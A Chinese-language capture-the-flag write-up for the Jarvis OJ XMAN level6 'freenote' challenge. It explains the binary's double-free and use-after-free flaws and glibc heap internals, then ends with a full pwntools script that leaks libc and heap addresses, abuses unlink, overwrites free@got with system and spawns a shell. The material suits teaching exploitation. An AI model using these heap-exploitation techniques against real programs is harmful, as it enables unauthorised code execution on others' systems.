浙大Jarvisoj [XMAN]level6 Writeup
分析代码
初始化
0x0804A2EC:保存malloc(0xC10)返回的指针
malloc(0xC10) | 0 | 1 | ... ... |
value | note 总数:256 | 已使用 note 数 | 0 |
一、Show note
已使用 note 数 <= 0 直接返回,否则遍历所有 note 进行输出。
二、Add note
已使用 note 数 >= note 总数,直接返回。添加一个 note,已使用 note 数加一,malloc 分配的最小内存为 0x80,添加完成 note 总数自增1,note 结构为:
struct note {
DWORD use; // 是否使用
DWORD size; // 大小
DWORD ptr; // 内容指针
};
malloc(0x80);
/*
实际分配了 0x88 大小内存
(0x80 + 0x4 + 0x7) & ~0x7 == 0x88
*/
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALLGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALLGN_MASK) & ~MALLOC_ALLGN_MASK)
#define MALLOC_ALLGN_MASK (MALLOC_ALLGNMENT - 1)
#define MALLOC_ALLGNMENT (2 * SIZE_SZ)
// SIZE_SZ 64位为 8, 32位为 4
三、Edit note
Edit 只验证了索引项的use是否为1,并没有验证索引是否存在(可以伪造 note 结构,实现任意地址写入),如果新编辑的长度和之前的不一样会重新分配内存。
四、Del note
Del 没有检测索引项是否存在,造成多次释放,没有把分配的指针置0,存在 Use After Free,对释放的指针重新利用。
fastbinsY
fastbinsY 是一个 bin 数组,用来存放fast bin。单链表结构
0 | 1 | 2 | 3 | ... ... | 8 | 9 |
0x10(4*SIZE_SZ) | 0x18(+ 2*SIZE_SZ) | 0x20 | 0x28 | ... ... | 0x50 | 0x58 |
bins
unsorted bin
一定大小的 chunk 被释放时(该 chunk 不和 top chunk 紧邻),在进入 small bin 或者 large bin 之前,会先加入 unsorted bin。双链表结构,占两个bins
small bin
同一个 small bin 里 chunk 大小相同,双链表结构
解题过程
当 unsorted bin 中存在一个 chunk 时,这个 chunk 的 fd 和 bk 都指向 main_arena+48 (32位)处,main_arena 在 libc 中位于 __malloc_hook + 0x18 (32位)处。
int
__malloc_trim (size_t s)
{
int result = 0;
if (__malloc_initialized < 0)
ptmalloc_init ();
mstate ar_ptr = &main_arena; // main_arena
do
{
(void) mutex_lock (&ar_ptr->mutex);
result |= mtrim (ar_ptr, s);
(void) mutex_unlock (&ar_ptr->mutex);
ar_ptr = ar_ptr->next;
}
while (ar_ptr != &main_arena);
return result;
}
泄露 libc 基址
目地:为拦截free,修改free的got地址值做准备
创建两个 chunk(内容不要超过四个字节,否则会覆盖掉 main_arena 的地址),释放chunk0,在重新申请(大小相同),然后查看 note
libcbase = main_arena - 0x30 - (__malloc_hook + 0x18)
泄露 heap 基址
目的:修改 note 内容指针,往free@got写入system地址,为利用 unlink 做准备
再创建两个 chunk,释放掉 chunk0 和 chunk2,在申请一个chunk(也就是chunk0,注意不要覆盖掉 bk,bk指向的是 chunk2 的地址),查看 note
heapbase = chunk2 - 0x88 - 0x88 - 0xC18 (chunk0、chunk1 和 刚开始申请的堆的大小)
利用 unlink
条件:P->fd->bk == P->bk->fd == P 另外一种形式 *(*(P + fd offset) + bk offset) == *(*(P + bk offset) + fd offset) == P(P 表示 chunk 的指针,C语言中 -> 的左边是某个地址,右边地址偏移)
目的:修改 chunk0 指向的指针(chunk0 = &chunk0 - 12, 32位)
释放 chunk1,将前3个 chunk 合并,在申请一个大的 chunk 不要超过前三个总大小,在新的 chunk 里面伪造一个空闲 chunk,伪造的大小为 0x80可以保证已经释放的 chunk1 的指针指向伪造的第二个 chunk。
伪造的 chunk 的 fd 和 bk 要满足条件。
释放 chunk1 (伪造的第二个 chunk),伪造的第二个 chunk 的 PREV_INUSE 为0(前一个 chunk 是空闲的),将会进行合并 unlink,合并之后 &chunk0,就会修改成 伪造的 chunk 的 fd 值。
伪造 note 结构
目的:改变 free@got 的值,调用system
当前 chunk0 指向已使用 note 数的地址,开始伪造 note 结构,确保写入的长度相同,不要重新申请内存。
再次往 chunk0 写入,写入内容为 system 的地址,再写入chunk1,内容为/bin/sh\x00,释放 chunk1 执行 free('/bin/sh') 相当于 system('/bin/sh')
exp
from pwn import *
debug = 0
local = 1
host = ""
port = 0
filename = "./freenote_x86"
def add(data):
p.sendlineafter(b'choice: ', b'2')
p.sendlineafter(b'new note: ', f'{len(data)}'.encode())
p.sendafter(b'your note: ', data)
def _del(index):
p.sendlineafter(b'choice: ', b'4')
p.sendlineafter(b'number: ', f'{index}'.encode())
def show():
p.sendlineafter(b'choice: ', b'1')
def edit(index, data):
p.sendlineafter(b'choice: ', b'3')
p.sendlineafter(b'number: ', f'{index}'.encode())
p.sendlineafter(b'note: ', f'{len(data)}'.encode())
p.sendlineafter(b'note: ', data)
p = process(filename) if not debug and local else gdb.debug(filename, "b *0x80484D0\nb *0x80489D0") if debug else remote(host, port)
elf = ELF(filename)
if local:
libc = ELF('/root/Desktop/glibc-all-in-one/libs/2.19-10ubuntu2_i386/libc.so.6')
else:
libc = ELF('./libc-2.19.so')
# libcbase addr
add(b'AAAA') # 0
add(b'AAAA') # 1
_del(0)
add(b'AAAA') # 0
show()
p.recvuntil(b'AAAA')
addr = u32(p.recv(4)) - 0x30
print(hex(addr))
main_arena = libc.sym['__malloc_hook'] + 0x18
libcbase = addr - main_arena
system = libcbase + libc.sym['system']
# heapbase addr
add(b'AAAA') # 2
add(b'AAAA') # 3
_del(0)
_del(2)
add(b'AAAA') # 0
show()
p.recvuntil(b'AAAA')
addr = u32(p.recv(4))
print(hex(addr))
heapbase = addr - 0x88 - 0x88 - 0xC18
chunk0_addr = heapbase + 0x18
# unlink
_del(0)
_del(1)
payload = p32(0) + p32(0x81) + p32(chunk0_addr - 12) + p32(chunk0_addr - 8)
payload = payload.ljust(0x80, b'C')
payload += p32(0x80) + p32(0x80)
payload = payload.ljust(0x80 + 0x80, b'C')
add(payload)
_del(1)
# shell
payload = p32(1) + p32(1) + p32(4) + p32(elf.got['free']) + p32(1) + p32(8) + p32(heapbase + 0x100)
payload = payload.ljust(0x100, b'C')
edit(0, payload)
edit(0, p32(system))
edit(1, b'/bin/sh\x00')
_del(1)
p.interactive()